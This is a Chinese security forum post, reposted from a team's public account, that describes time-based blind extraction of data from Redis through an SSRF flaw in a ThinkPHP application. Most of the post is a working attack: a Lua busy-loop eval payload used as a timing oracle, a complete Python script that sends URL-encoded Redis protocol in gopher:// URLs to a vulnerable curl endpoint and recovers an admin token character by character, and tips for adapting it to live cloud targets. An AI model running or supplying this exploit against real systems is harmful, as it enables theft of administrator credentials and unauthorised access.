安全矩阵

 找回密码
 立即注册
搜索
查看: 966|回复: 0

实战环境中的Redis 延时注入

[复制链接]

17

主题

17

帖子

63

积分

注册会员

Rank: 2

积分
63
发表于 2024-5-25 21:58:46 | 显示全部楼层 |阅读模式
实战环境中的Redis延时注入
原创 狗一样的男人[url=]s7ck Team[/url]
实战环境中 Redis 延时注入
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!本文由s7ck Team团队原创,如转载情注明来源。

本实验环境:


SSRF 不回显


Redis rdp  且 知晓密码 // 云 (基本无rce可能)


代码漏洞点
thinkphp 框架 controller 本文并不做过多解释





延时
# redis 延时命令


eval 'local value = redis.call("KEYS", (tostring(ARGV[1])));


if string.match(value[1]:sub({}, {}), "{}")


    then local a=1 while( a <  50000000 ) do a = a+1 end else return 0 end' 0 "admin_token*"


redis 支持执行 lua 脚本


但是在lua sleep 函数中 需要 引入三方包


但是在redis 中做了沙盒限制 所以直接使用for循环达到 延时的作用


基础利用脚本
from urllib.parse import quote


import requests


import time





# HOST = "127.0.0.1"


# PORT = "6379"





def ord2hex(string):


    return '%'+'%02x' % (ord(string))





def urlencode(data):


    data = ''.join([ord2hex(i) for i in data])


    return data





# print("gopher://10.211.55.14:6379/_"  + exp)


def returngopherdata(num,aa):


    # data = '''eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a <  50000000 ) do a = a+1 end else return 0 end' 0 "admin_token_*"\r\nquit'''.format(str(num),str(num),aa)


    num = urlencode(str(num))


    aa = urlencode(aa)


    data = "%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a".format(num,num,aa)


    data = quote(data)


    data = "gopher://10.211.55.14:6379/_" + data


    return data








def returnpostdata(gopherdata):


    url = "http://10.211.55.14/api/curl"


    headers = {


        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",


        "Content-Type": "application/x-www-form-urlencoded"


    }


    proxies = {


        "http":"http://127.0.0.1:8080",


        "https":"http://127.0.0.1:8080"


    }


    data = '''url={}'''.format(gopherdata)


    starttime = int(time.time())


    r = requests.post(url,data=data,headers=headers,proxies=proxies)


    endtime = int(time.time())


    needtime = endtime - starttime


    # print("time : " + str(needtime))


    return needtime





def main():


    strings = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"


    # admin_token_ts5q9s3hpe5h5fq6pl6776c9tb


    results = ""


    for i in range(13,50):


        print("now : " + str(i))


        for aa in strings:


            gopherdata = returngopherdata(i,aa)


            needtime = returnpostdata(gopherdata)


            if needtime > 5:


                results = results + aa


                print(results)


                break


            # exit()


        print("Wait: 5s")


        time.sleep(5)


    print(results)


    return results











if "__main__" == __name__:


    main()


Redis 协议
redis协议 生成gopher 网上公开的脚本经测试 无法使用 只能自己写


%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a


经url解码后








*2


$6


select


$1


9


*4


$4


eval


$217


local value = redis.call("KEYS", (ARGV[1])); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a <  400000000 ) do a = a+1 end else return 0 end


$1


0


$13


admin_token_*


*1


$4


quit


redis 协议 *
*2


代表有两个arg


例如


select 6


这是两个参数


redis 协议 $
$6


代表下面字符有6个


例如


select


利用
假设 redis 中存在admin_token_asdadasadadad





脚本利用截图








admin_token_asdadasadadad





asdadasadadad


对比情况相同 成功得到管理员token


Tips
现实情况中要考虑网络延迟情况 与 对方服务器情况





并且这个脚本并默认只跑 key 符合 admin_token_* 的第一条内容 如果在脚本运行期间 有新token 加入 则会造成 token 错误的情况 后续需要将payload 更改


每次跑出一位后


例如第一位为a 那么第二次的paylaod 应该为 admin_token_a*  这样就算 脚本运行期间有新的token加入 也不会影响我们得到的token正常使用





每次延时时间要根据对方服务器判断 想靶场环境的话 400000000 大概在三秒左右 如果用线上环境 rds 一类的话 可能只有一秒不到的延时 所以要适量增加 for 循环次数


直接  eval 'local a=1 while( a <  50000000 ) do a = a+1 end' 0 查看回显时间



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 10:01 , Processed in 0.013075 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表